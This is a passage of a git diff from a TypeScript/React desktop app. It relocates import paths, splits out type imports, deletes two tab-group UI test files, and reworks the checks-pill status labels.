 import { mirrorWebRuntimeTabMove } from './web-runtime-tab-move-mirror'
 import {
   isDesktopCreatedTabInFrameDrawnServerWorkspace,
   serverTabCount
-} from '@/lib/frame-drawn-desktop-created-tabs'
+} from '@/store/workspace-layout/frames/frame-drawn-desktop-created-tabs'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
 import {
   dropTabThroughLayoutOwner,
diff --git a/src/renderer/src/components/tab-bar/terminal-tab-activity-status.ts b/src/renderer/src/components/tab-bar/terminal-tab-activity-status.ts
index 0f260688996..01e84d5e17f 100644
--- a/src/renderer/src/components/tab-bar/terminal-tab-activity-status.ts
+++ b/src/renderer/src/components/tab-bar/terminal-tab-activity-status.ts
@@ -6,7 +6,7 @@ import {
   isAgentStatusFresh,
   AGENT_STATUS_STALE_AFTER_MS
 } from '../../../../shared/agent-status/contracts/agent-status-freshness'
-import { resolveWorktreeStatus, type WorktreeStatus } from '@/lib/worktree-status'
+import { resolveWorktreeStatus } from '@/lib/workspace/activity/worktree-status'
 
 import type { AgentStatusEntry } from '../../../../shared/agent-status/contracts/agent-status-types'
 import { agentVerdictDisplayMark } from '../../../../shared/agent-status/lifecycle/agent-main-agent-verdict'
@@ -16,6 +16,7 @@ import {
   parsePaneKey
 } from '../../../../shared/workspace-layout/stable-pane-id'
 import {
+  type WorktreeStatus,
   applyAgentPaneActivityFlags,
   type AgentPaneActivityFlags
 } from '../../../../shared/worktree-status-rollup'
diff --git a/src/renderer/src/components/tab-bar/use-tab-bar-item-actions.ts b/src/renderer/src/components/tab-bar/use-tab-bar-item-actions.ts
index c6454250f75..f4d0a88bfb0 100644
--- a/src/renderer/src/components/tab-bar/use-tab-bar-item-actions.ts
+++ b/src/renderer/src/components/tab-bar/use-tab-bar-item-actions.ts
@@ -1,5 +1,5 @@
 import { useLayoutEffect, useMemo, useRef } from 'react'
-import { clearClientHostedBrowserRowSelection } from '@/lib/pane-manager/client-hosted-browser-row-state'
+import { clearClientHostedBrowserRowSelection } from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { noteUserWorkspaceSwitch } from '@/lib/workspace/activation/workspace-switch-user-act'
 import { useAppStore } from '@/store'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
diff --git a/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts b/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts
index af51cf1bd74..95cccb75985 100644
--- a/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts
+++ b/src/renderer/src/components/tab-bar/use-tab-bar-runtime-model.ts
@@ -1,34 +1,32 @@
 import { useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import type { GitFileStatus } from '../../../../shared/git/status/git-status-types'
-import type { GlobalSettings } from '../../../../shared/global-settings-types'
-import type { Tab } from '../../../../shared/tab-types'
-import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { buildStatusMap } from '../../lib/source-control/paths/git-path-decoration'
-import type { AgentDetectionTarget } from '@/hooks/useDetectedAgents'
 import { useAgentDetectionTargetForWorktree } from '@/hooks/useAgentDetectionTarget'
 import '@/lib/workspace/ownership/connection-context'
 import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { isNativeChatTranscriptLocalReadable } from '../../../../shared/native-chat/transcript/native-chat-transcript-readability'
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
 import { useOptionalShortcutLabel, useShortcutLabel } from '@/hooks/useShortcutLabel'
 import {
   getWindowsTerminalCapabilityOwnerKey,
-  useWindowsTerminalCapabilities,
-  type WindowsTerminalCapabilities
+  useWindowsTerminalCapabilities
 } from '@/runtime/hosts/capabilities/windows-terminal-capabilities'
+import type { WindowsTerminalCapabilities } from '@/runtime/hosts/capabilities/windows-terminal-capabilities'
 import { shouldShowMobileEmulatorTabIntro } from '../emulator-pane/mobile-emulator-tab-intro-visibility'
-import {
-  selectTabBarAgentProjections,
-  type TabBarAgentProjections
-} from './tab-agent-types-by-tab-id'
+import { selectTabBarAgentProjections } from './tab-agent-types-by-tab-id'
+import type { TabBarAgentProjections } from './tab-agent-types-by-tab-id'
 import { shouldShowWindowsShellMenu } from './windows-shell-menu-visibility'
 import { createUnifiedTabLookup } from './tab-bar-item-model'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { GitFileStatus } from '../../../../shared/git/status/git-status-types'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type { Tab } from '../../../../shared/tab-types'
+import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime'
+import type { AgentDetectionTarget } from '@/hooks/useDetectedAgents'
 
 const isWindows = navigator.userAgent.includes('Windows')
 export const isMacOs = navigator.userAgent.includes('Mac')
diff --git a/src/renderer/src/components/tab-bar/web-runtime-tab-move-mirror.ts b/src/renderer/src/components/tab-bar/web-runtime-tab-move-mirror.ts
index 8e62cee44b7..e97b50f0608 100644
--- a/src/renderer/src/components/tab-bar/web-runtime-tab-move-mirror.ts
+++ b/src/renderer/src/components/tab-bar/web-runtime-tab-move-mirror.ts
@@ -1,9 +1,9 @@
 import type { RuntimeMobileSessionTabMove } from '../../../../shared/runtime-types'
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { isWebRuntimeSessionActive } from '../../runtime/web-session-tabs-sync/identity/web-runtime-session-environment'
 import { moveWebRuntimeSessionTab } from '../../runtime/web-session-tabs-sync/actions/web-runtime-session-tab-move'
-import { isDesktopCreatedTabInFrameDrawnServerWorkspace } from '@/lib/frame-drawn-desktop-created-tabs'
+import { isDesktopCreatedTabInFrameDrawnServerWorkspace } from '@/store/workspace-layout/frames/frame-drawn-desktop-created-tabs'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
 
 export function mirrorWebRuntimeTabMove(
diff --git a/src/renderer/src/components/tab-group/AiVaultSessionDropLayer.tsx b/src/renderer/src/components/tab-group/AiVaultSessionDropLayer.tsx
index c4f38328e52..957ef92e6a1 100644
--- a/src/renderer/src/components/tab-group/AiVaultSessionDropLayer.tsx
+++ b/src/renderer/src/components/tab-group/AiVaultSessionDropLayer.tsx
@@ -1,5 +1,6 @@
 import { getAiVaultResumeWorkspaceWslDistro } from '@/lib/agent-session/resume/history/ai-vault-resume-shell'
-import { useCallback, useEffect, useRef, useState, type CSSProperties } from 'react'
+import { useCallback, useEffect, useRef, useState } from 'react'
+import type { CSSProperties } from 'react'
 import { toast } from 'sonner'
 import { canResumeAiVaultSessionOnTarget } from '../../../../shared/ai-vault/resume/ai-vault-resume-target'
 import {
@@ -15,14 +16,14 @@ import {
 } from '@/lib/agent-session/resume/history/ai-vault-session-drag'
 import { buildAiVaultDropRepinStartup } from '@/lib/agent-session/resume/history/ai-vault-resume-command'
 import { getAiVaultAgentProviderSession } from '../../../../shared/ai-vault/resume/ai-vault-resume-startup'
-import { launchAiVaultSessionInNewTab } from '@/lib/launch-ai-vault-session'
+import { launchAiVaultSessionInNewTab } from '@/lib/agent-session/resume/history/launch-ai-vault-session'
 import { prepareAiVaultTerminalResumeRequest } from '@/lib/agent-session/resume/history/ai-vault-session-resume-preparation'
 import { describeAiVaultResumeFailure } from '@/lib/agent-session/resume/history/ai-vault-resume-refusal'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { resolveDropZone } from './tab-drop-zone'
-import type { TabDropZone } from './useTabDragSplit'
 import { translate } from '@/i18n/i18n'
-import { activateAiVaultStructuredSession } from '@/lib/activate-ai-vault-structured-session'
+import { activateAiVaultStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
+import type { TabDropZone } from './useTabDragSplit'
 
 type PaneDropTarget = {
   groupId: string
diff --git a/src/renderer/src/components/tab-group/SplitPaneLanding.tsx b/src/renderer/src/components/tab-group/SplitPaneLanding.tsx
index e4f3678719e..9462fb27934 100644
--- a/src/renderer/src/components/tab-group/SplitPaneLanding.tsx
+++ b/src/renderer/src/components/tab-group/SplitPaneLanding.tsx
@@ -1,15 +1,16 @@
 import { useRef, useState } from 'react'
-import { FilePlus, Globe, Smartphone, TerminalSquare, type LucideIcon } from 'lucide-react'
+import { FilePlus, Globe, Smartphone, TerminalSquare } from 'lucide-react'
+import type { LucideIcon } from 'lucide-react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { useOptionalShortcutLabel } from '@/hooks/useShortcutLabel'
 import { useTranslate } from '@/i18n/use-translate'
 import {
   ensureClientCreationActionAllowed,
   showClientCreationActionError
-} from '@/lib/client-creation-action-error'
+} from '@/lib/workspace/creation/surface-policy/client-creation-action-error'
 import { openNewTerminalTabInWorkspace } from '@/store/terminals/terminal-active-workspace-creation'
-import { getWorkspaceClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getWorkspaceClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { openMobileEmulatorTab } from '@/lib/simulator/launch/open-mobile-emulator-tab'
 import {
   ensureSimulatorTab,
diff --git a/src/renderer/src/components/tab-group/TabGroupPanel.os-file-drop.test.tsx b/src/renderer/src/components/tab-group/TabGroupPanel.os-file-drop.test.tsx
deleted file mode 100644
index 3b05b8aba3b..00000000000
--- a/src/renderer/src/components/tab-group/TabGroupPanel.os-file-drop.test.tsx
+++ /dev/null
@@ -1,118 +0,0 @@
-// @vitest-environment happy-dom
-import { useEffect, useRef } from 'react'
-import { act, cleanup, render, waitFor } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => {
-  const state = {
-    activeWorktreeId: 'wt-active',
-    rightSidebarOpen: true,
-    sidebarOpen: true,
-    groupsByWorktree: {}
-  }
-  const useAppStore = (selector: (current: typeof state) => unknown): unknown => selector(state)
-  useAppStore.getState = () => state
-  return { capture: vi.fn(), deliver: vi.fn(), monacoSawDrop: vi.fn(), useAppStore }
-})
-vi.mock('@/store', () => ({ useAppStore: mocks.useAppStore }))
-vi.mock('../../store', () => ({ useAppStore: mocks.useAppStore }))
-vi.mock('../editor/editor-dropped-file-open', () => ({
-  captureEditorFileDropOpen: mocks.capture,
-  editorGroupStillExists: () => true
-}))
-vi.mock('../tab-bar/TabBar', () => ({ default: () => null }))
-vi.mock('../tab-bar/TabBarQuickCommandsButton', () => ({ TabBarQuickCommandsButton: () => null }))
-vi.mock('@/lib/pane-manager/client-hosted-browser-row-state', () => ({
-  useClientHostedBrowserRows: () => []
-}))
-vi.mock('./useTabGroupWorkspaceModel', () => ({
-  useTabGroupWorkspaceModel: () => ({
-    activeTab: { id: 'tab-1', entityId: 'file-1', contentType: 'editor' },
-    agentSessionItems: [],
-    browserItems: [],
-    commands: { focusGroup: () => undefined },
-    editorItems: [],
-    tabBarOrder: [],
-    terminalTabs: [],
-    groupTabs: [],
-    expandedPaneByTabId: {}
-  })
-}))
-// Stands in for Monaco, which listens for drops on its own DOM node.
-vi.mock('../editor/EditorPanel', () => ({
-  default: function FakeMonaco() {
-    const ref = useRef<HTMLDivElement>(null)
-    useEffect(() => {
-      const node = ref.current
-      node?.addEventListener('drop', mocks.monacoSawDrop)
-      node?.addEventListener('dragover', mocks.monacoSawDrop)
-      return () => {
-        node?.removeEventListener('drop', mocks.monacoSawDrop)
-        node?.removeEventListener('dragover', mocks.monacoSawDrop)
-      }
-    }, [])
-    return (
-      <div ref={ref} data-testid="monaco">
-        <textarea data-testid="monaco-input" />
-      </div>
-    )
-  }
-}))
-
-import { TooltipProvider } from '@/components/ui/tooltip'
-import TabGroupPanel from './TabGroupPanel'
-
-function drag(target: Element, type: 'dragover' | 'drop'): Event {
-  const transfer = { types: ['Files'], files: [new File(['x'], 'dropped.md')], dropEffect: 'move' }
-  const event = new Event(type, { bubbles: true, cancelable: true, composed: true })
-  Object.defineProperty(event, 'dataTransfer', { value: transfer })
-  Object.defineProperty(event, 'isTrusted', { value: true })
-  act(() => {
-    target.dispatchEvent(event)
-  })
-  return event
-}
-
-beforeEach(() => {
-  mocks.capture.mockImplementation(() => mocks.deliver)
-  vi.stubGlobal('api', {
-    fs: {
-      getPathForFile: (file: File) => `/Users/me/${file.name}`,
-      prepareDroppedPaths: async ({ paths }: { paths: string[] }) => ({ paths, failures: [] })
-    }
-  })
-})
-
-afterEach(() => {
-  cleanup()
-  vi.unstubAllGlobals()
-  vi.clearAllMocks()
-})
-
-describe('TabGroupPanel editor area OS file drops', () => {
-  it("opens a file dropped on the editor in this group's worktree, and Monaco never sees it", async () => {
-    const view = render(
-      <TooltipProvider>
-        <TabGroupPanel
-          groupId="group-b"
-          worktreeId="wt-b"
-          isVisible
-          isFocused={false}
-          hasSplitGroups
-          touchesLeftEdge={false}
-          touchesRightEdge={false}
-          reserveClosedExplorerToggleSpace={false}
-          reserveCollapsedSidebarHeaderSpace={false}
-        />
-      </TooltipProvider>
-    )
-    const input = await view.findByTestId('monaco-input')
-    drag(input, 'dragover')
-    const drop = drag(input, 'drop')
-
-    expect(drop.defaultPrevented).toBe(true)
-    expect(mocks.monacoSawDrop).not.toHaveBeenCalled()
-    expect(mocks.capture).toHaveBeenCalledWith({ worktreeId: 'wt-b', groupId: 'group-b' })
-    await waitFor(() => expect(mocks.deliver).toHaveBeenCalledWith(['/Users/me/dropped.md']))
-  })
-})
diff --git a/src/renderer/src/components/tab-group/TabGroupPanel.pane-actions.test.tsx b/src/renderer/src/components/tab-group/TabGroupPanel.pane-actions.test.tsx
deleted file mode 100644
index fc0466aa72b..00000000000
--- a/src/renderer/src/components/tab-group/TabGroupPanel.pane-actions.test.tsx
+++ /dev/null
@@ -1,86 +0,0 @@
-// @vitest-environment happy-dom
-import { act, cleanup, fireEvent, render } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => {
-  const state = {
-    activeWorktreeId: 'wt-a',
-    rightSidebarOpen: true,
-    sidebarOpen: true,
-    groupsByWorktree: {}
-  }
-  const useAppStore = (selector: (current: typeof state) => unknown): unknown => selector(state)
-  useAppStore.getState = () => state
-  return { useAppStore }
-})
-vi.mock('@/store', () => ({ useAppStore: mocks.useAppStore }))
-vi.mock('../../store', () => ({ useAppStore: mocks.useAppStore }))
-vi.mock('../tab-bar/TabBar', () => ({ default: () => null }))
-vi.mock('../tab-bar/TabBarQuickCommandsButton', () => ({
-  TabBarQuickCommandsButton: () => null
-}))
-vi.mock('@/lib/pane-manager/client-hosted-browser-row-state', () => ({
-  useClientHostedBrowserRows: () => []
-}))
-vi.mock('./useTabGroupWorkspaceModel', () => ({
-  useTabGroupWorkspaceModel: () => ({
-    activeTab: { id: 'tab-1', entityId: 'term-1', contentType: 'terminal' },
-    agentSessionItems: [],
-    browserItems: [],
-    commands: { focusGroup: () => undefined, closeGroup: () => undefined },
-    editorItems: [],
-    tabBarOrder: [],
-    terminalTabs: [],
-    groupTabs: [],
-    expandedPaneByTabId: {}
-  })
-}))
-
-import { TooltipProvider } from '@/components/ui/tooltip'
-import TabGroupPanel from './TabGroupPanel'
-
-function panel(isFocused: boolean): React.JSX.Element {
-  return (
-    <TooltipProvider>
-      <TabGroupPanel
-        groupId="group-a"
-        worktreeId="wt-a"
-        isVisible
-        isFocused={isFocused}
-        hasSplitGroups
-        touchesLeftEdge={false}
-        touchesRightEdge={false}
-        reserveClosedExplorerToggleSpace={false}
-        reserveCollapsedSidebarHeaderSpace={false}
-      />
-    </TooltipProvider>
-  )
-}
-
-afterEach(cleanup)
-
-describe('TabGroupPanel Pane Actions menu', () => {
-  it('closes without restoring focus to the old group', async () => {
-    const view = render(panel(true))
-    const trigger = view.getByRole('button', { name: 'Pane Actions' })
-    act(() => {
-      fireEvent.pointerDown(trigger, {
-        button: 0,
-        ctrlKey: false,
-        pointerType: 'mouse'
-      })
-    })
-    expect(view.queryByRole('menuitem', { name: 'Close split pane' })).not.toBeNull()
-
-    await act(async () => {
-      view.rerender(panel(false))
-      // Radix restores trigger focus on the next task after its focus scope unmounts.
-      await new Promise((resolve) => setTimeout(resolve, 0))
-    })
-    expect(view.queryByRole('menuitem', { name: 'Close split pane' })).toBeNull()
-    expect(document.activeElement).not.toBe(trigger)
-
-    view.rerender(panel(true))
-    expect(view.queryByRole('menuitem', { name: 'Close split pane' })).toBeNull()
-  })
-})
diff --git a/src/renderer/src/components/tab-group/TabGroupPanel.tsx b/src/renderer/src/components/tab-group/TabGroupPanel.tsx
index 0e42786c307..a7c44107a5e 100644
--- a/src/renderer/src/components/tab-group/TabGroupPanel.tsx
+++ b/src/renderer/src/components/tab-group/TabGroupPanel.tsx
@@ -17,13 +17,12 @@ import { useTranslate } from '@/i18n/use-translate'
 import type { TabGroup } from '../../../../shared/tab-types'
 import { isStructuredTab } from '../../../../shared/agent-session/view/structured-agent-session-tab'
 import type { ClientHostedBrowserRow } from '../../../../shared/client-hosted-browser-rows'
-import { useClientHostedBrowserRows } from '@/lib/pane-manager/client-hosted-browser-row-state'
+import { useClientHostedBrowserRows } from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { resolveClientHostedBrowserRowStripGroupId } from '../tab-bar/client-hosted-browser-row-strip-placement'
 import { useEditorGroupFileDropOwner } from '../editor/use-editor-group-file-drop-owner'
 import { cn } from '@/lib/class-names'
 import { UNFOCUSED_SPLIT_GROUP_OPACITY } from './split-group-dim'
 import { useWindowBackdropActive } from '@/app-shell/appearance/window-backdrop'
-import { useThemeBackgroundStore } from '@/store/appearance/theme-background'
 import { EditorRevealFlash } from './EditorRevealFlash'
 import { SplitPaneLanding } from './SplitPaneLanding'
 import { isSplitLandingGroup } from '@/store/slices/tabs/split-landing-groups'
@@ -127,7 +126,6 @@ export default function TabGroupPanel({
   )
   const attachEditorFileDropOwner = useEditorGroupFileDropOwner({ worktreeId, groupId })
   const backdropActive = useWindowBackdropActive()
-  const themeBackgroundActive = useThemeBackgroundStore((state) => state.active)
   // Why: per-group anchor-name lets the worktree-level overlay position panes via CSS anchor positioning, so moving a tab between groups re-targets the anchor instead of remounting xterm (loses alt-screen TUI state) or reloading `<webview>`.
   const bodyAnchorName = tabGroupBodyAnchorName(groupId)
   // Why: memoize so a fresh style object each render doesn't break downstream memoization keyed on referential equality.
@@ -337,10 +335,10 @@ export default function TabGroupPanel({
       <div
         ref={setBodyRef}
         data-tab-group-body-id={groupId}
-        // Why: the pane overlays paint terminals and chats above this body; only they show the theme image.
+        // Why: the pane overlays paint terminals and chats above this body; only they show the backdrop.
         data-translucent-tab-body={
           activeTab?.contentType === 'terminal' ||
-          (activeTab && isStructuredTab(activeTab) && themeBackgroundActive)
+          (activeTab && isStructuredTab(activeTab) && backdropActive)
             ? ''
             : undefined
         }
diff --git a/src/renderer/src/components/tab-group/tab-group-layout-owner-commands.ts b/src/renderer/src/components/tab-group/tab-group-layout-owner-commands.ts
index 2053854f659..edd4d9092fd 100644
--- a/src/renderer/src/components/tab-group/tab-group-layout-owner-commands.ts
+++ b/src/renderer/src/components/tab-group/tab-group-layout-owner-commands.ts
@@ -1,6 +1,6 @@
 // Main frames/reconnect snapshots draw moves and select them unless selection changed; divider ratios persist on release.
 
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { TabSplitDirection } from '@/store/slices/tabs/tabs-slice-contract'
 import { sendLayoutCommandToOwner } from '@/runtime/workspace-layout/commands/layout-owner-command'
 import type { WindowLayoutCommand } from '@/runtime/workspace-layout/commands/layout-apply-send'
@@ -13,7 +13,7 @@ import {
 import { tabSelectionKey } from '@/store/slices/tabs/moved-tab-selection'
 import { layoutFramesFlowing } from '@/runtime/workspace-layout/frames/layout-frame-position'
 import { splitRatioIntentAt } from '../../../../shared/workspace-layout/split-ratio-intents'
-import { serverTabCount } from '@/lib/frame-drawn-desktop-created-tabs'
+import { serverTabCount } from '@/store/workspace-layout/frames/frame-drawn-desktop-created-tabs'
 import { tabOrderAnchor } from '../../../../shared/workspace-layout/tab-order'
 
 export type TabDrop =
diff --git a/src/renderer/src/components/tab-group/tab-group-panel-split-target.ts b/src/renderer/src/components/tab-group/tab-group-panel-split-target.ts
index c0f63d5895e..80aefb83e0f 100644
--- a/src/renderer/src/components/tab-group/tab-group-panel-split-target.ts
+++ b/src/renderer/src/components/tab-group/tab-group-panel-split-target.ts
@@ -15,7 +15,7 @@ import {
 import {
   isDesktopCreatedTabInFrameDrawnServerWorkspace,
   serverTabCount
-} from '@/lib/frame-drawn-desktop-created-tabs'
+} from '@/store/workspace-layout/frames/frame-drawn-desktop-created-tabs'
 
 export type TabGroupPanelGeometryEntry = {
   groupId: string
diff --git a/src/renderer/src/components/tab-group/useTabGroupCreationCommands.ts b/src/renderer/src/components/tab-group/useTabGroupCreationCommands.ts
index 23ab7a1c9dd..eb0bdd518d3 100644
--- a/src/renderer/src/components/tab-group/useTabGroupCreationCommands.ts
+++ b/src/renderer/src/components/tab-group/useTabGroupCreationCommands.ts
@@ -1,22 +1,23 @@
 import { toast } from 'sonner'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { focusTerminalTabSurface } from '../terminal-pane/input/focus/focus-terminal-tab-surface'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
 import { createWebRuntimeSessionBrowserTab } from '../../runtime/browser/creation/web-runtime-browser-creation'
 import { createWebRuntimeSessionTerminal } from '../../runtime/hosted-terminals/creation/web-runtime-terminal-creation'
 import { isWebRuntimeSessionActive } from '../../runtime/web-session-tabs-sync/identity/web-runtime-session-environment'
-import { openTabBarEntry, type TabCreateEntryArgs } from '../tab-bar/tab-create-entry-action'
+import { openTabBarEntry } from '../tab-bar/tab-create-entry-action'
+import type { TabCreateEntryArgs } from '../tab-bar/tab-create-entry-action'
 import { openMobileEmulatorTab } from '@/lib/simulator/launch/open-mobile-emulator-tab'
 import {
   ensureSimulatorTab,
   getSimulatorTabForWorktree
 } from '@/lib/simulator/tabs/ensure-simulator-tab'
-import { buildDuplicatedBrowserTabOptions } from '@/lib/duplicate-browser-tab-options'
+import { buildDuplicatedBrowserTabOptions } from '@/lib/browser/workspace/duplicate-browser-tab-options'
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { browserWorkspaceHasRemoteOwner } from '@/runtime/browser/ownership/remote-browser-tab-ownership'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
-import type { TabGroupWorktreeSnapshot } from './useTabGroupItemProjections'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { translate } from '@/i18n/i18n'
+import type { TabGroupWorktreeSnapshot } from './useTabGroupItemProjections'
 
 export function useTabGroupCreationCommands({
   groupId,
diff --git a/src/renderer/src/components/task-page/github/Rows.tsx b/src/renderer/src/components/task-page/github/Rows.tsx
index 065a932bfa6..62de36cb12c 100644
--- a/src/renderer/src/components/task-page/github/Rows.tsx
+++ b/src/renderer/src/components/task-page/github/Rows.tsx
@@ -2,7 +2,7 @@ import { getTaskPageRepoSourceContext } from '../../../lib/work-items/task-repo-
 import type { TaskPageComposerActionsModel } from '../use-task-page-composer-actions'
 import { getWorkItemRepo } from '@/lib/work-items/work-item-repo-row'
 import { findGithubWorkItemWorkspaceAttachment } from '@/lib/work-items/github/github-work-item-workspace-attachment'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import { formatPRDelta } from '../task-page-pr-delta-summary'
 import {
   isTaskPageGitHubDraftPR,
diff --git a/src/renderer/src/components/task-page/linear/IssueBoardColumns.tsx b/src/renderer/src/components/task-page/linear/IssueBoardColumns.tsx
index 85e64aaac5d..bed498c9813 100644
--- a/src/renderer/src/components/task-page/linear/IssueBoardColumns.tsx
+++ b/src/renderer/src/components/task-page/linear/IssueBoardColumns.tsx
@@ -1,7 +1,7 @@
 import type { TaskPageComposerActionsModel } from '../use-task-page-composer-actions'
 import { cn } from '@/lib/class-names'
 import { findLinearIssueWorkspaceAttachmentInIndex } from '@/lib/work-items/linear/linear-issue-workspace-attachment'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import { LinearPriorityIcon } from '@/components/linear-priority-icon'
 import { Tooltip, TooltipTrigger, TooltipContent } from '@/components/ui/tooltip'
 import { Button } from '@/components/ui/button'
diff --git a/src/renderer/src/components/task-page/linear/IssueTable.tsx b/src/renderer/src/components/task-page/linear/IssueTable.tsx
index 03adc8f14bd..11bfb810155 100644
--- a/src/renderer/src/components/task-page/linear/IssueTable.tsx
+++ b/src/renderer/src/components/task-page/linear/IssueTable.tsx
@@ -2,7 +2,7 @@ import { useState } from 'react'
 import type { TaskPageComposerActionsModel } from '../use-task-page-composer-actions'
 import { ChevronDown, FolderOpen, ArrowRight, ExternalLink } from 'lucide-react'
 import { findLinearIssueWorkspaceAttachmentInIndex } from '@/lib/work-items/linear/linear-issue-workspace-attachment'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import { cn } from '@/lib/class-names'
 import { LinearPriorityIcon } from '@/components/linear-priority-icon'
 import { LinearStateCell } from './task-page-linear-issue-model'
diff --git a/src/renderer/src/components/task-page/task-page-checks-pill.ts b/src/renderer/src/components/task-page/task-page-checks-pill.ts
index c9a8d234993..40b6bd0cc37 100644
--- a/src/renderer/src/components/task-page/task-page-checks-pill.ts
+++ b/src/renderer/src/components/task-page/task-page-checks-pill.ts
@@ -1,18 +1,64 @@
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 import {
-  getProviderChecksLabel,
+  getCancelledCheckCount,
   getProviderChecksOutcome
 } from '../../../../shared/source-control/checks/provider-check-summary'
 import type { ProviderCheckSummary } from '../../../../shared/github/pull-request-types'
 
 type ChecksPillItem = { checksSummary?: ProviderCheckSummary }
 
+function getPipelineChecksLabel(state: ProviderCheckSummary['state'], t: Translate): string {
+  switch (state) {
+    case 'success':
+      return t('auto.components.task-page.checksPill.pipelinePassed', 'Pipeline passed')
+    case 'failure':
+      return t('auto.components.task-page.checksPill.pipelineFailed', 'Pipeline failed')
+    case 'pending':
+      return t('auto.components.task-page.checksPill.pipelinePending', 'Pipeline pending')
+    case 'neutral':
+      return t('auto.components.task-page.checksPill.pipelineUnresolved', 'Pipeline unresolved')
+    case 'none':
+      return t('auto.components.pr-check-counts.noChecks', 'No checks found')
+  }
+}
+
 /** Derive label and tone from the same summary so neutral checks cannot contradict a successful state. */
 export function getChecksLabel(item: ChecksPillItem, t: Translate = translate): string {
-  return getProviderChecksOutcome(item.checksSummary) === 'cancelled'
-    ? t('auto.components.editor.CheckRunDetailsPanel.91a4c7e2b0', 'Cancelled')
-    : getProviderChecksLabel(item.checksSummary)
+  const summary = item.checksSummary
+  if (!summary) {
+    return t('auto.components.TaskPage.a7396b05c6', 'Checks')
+  }
+  if (summary.scope === 'pipeline') {
+    return getPipelineChecksLabel(summary.state, t)
+  }
+  if (summary.total === 0) {
+    return t('auto.components.pr-check-counts.noChecks', 'No checks found')
+  }
+  const outcome = getProviderChecksOutcome(summary)
+  if (outcome === 'failure') {
+    return t('auto.components.pr-check-counts.failingChip', '{{value0}} failing', {
+      value0: summary.failed - (getCancelledCheckCount(summary) ?? 0)
+    })
+  }
+  if (outcome === 'pending') {
+    return t('auto.components.pr-check-counts.pendingChip', '{{value0}} pending', {
+      value0: summary.pending
+    })
+  }
+  if (outcome === 'cancelled') {
+    return t('auto.components.editor.CheckRunDetailsPanel.91a4c7e2b0', 'Cancelled')
+  }
+  if (summary.state === 'neutral') {
+    return t('auto.components.pr-check-counts.unresolvedChip', '{{value0}} unresolved', {
+      value0: summary.neutral || summary.total
+    })
+  }
+  return t(
+    'auto.components.pr-check-counts.passingSummary',
+    '{{value0}} of {{value1}} checks passing',
+    { value0: summary.passed, value1: summary.total }
+  )
 }
 
 export function getChecksPillTone(item: ChecksPillItem): string {
diff --git a/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts b/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts
index 76157271df3..d9ae9219a4e 100644
--- a/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts
+++ b/src/renderer/src/components/task-page/use-task-page-runtime-hosts.ts
@@ -1,3 +1,5 @@
+import { useTranslate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '@/components/sidebar/execution-host-label'
 import type { TaskPageRepoSelectionModel } from './use-task-page-repo-selection'
 import { normalizeGitHubTaskPreset } from '../../../../shared/work-items/task-github-search'
 import { getTaskPresetQuery } from '../../../../shared/work-items/task-preset-query'
@@ -16,6 +18,7 @@ import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
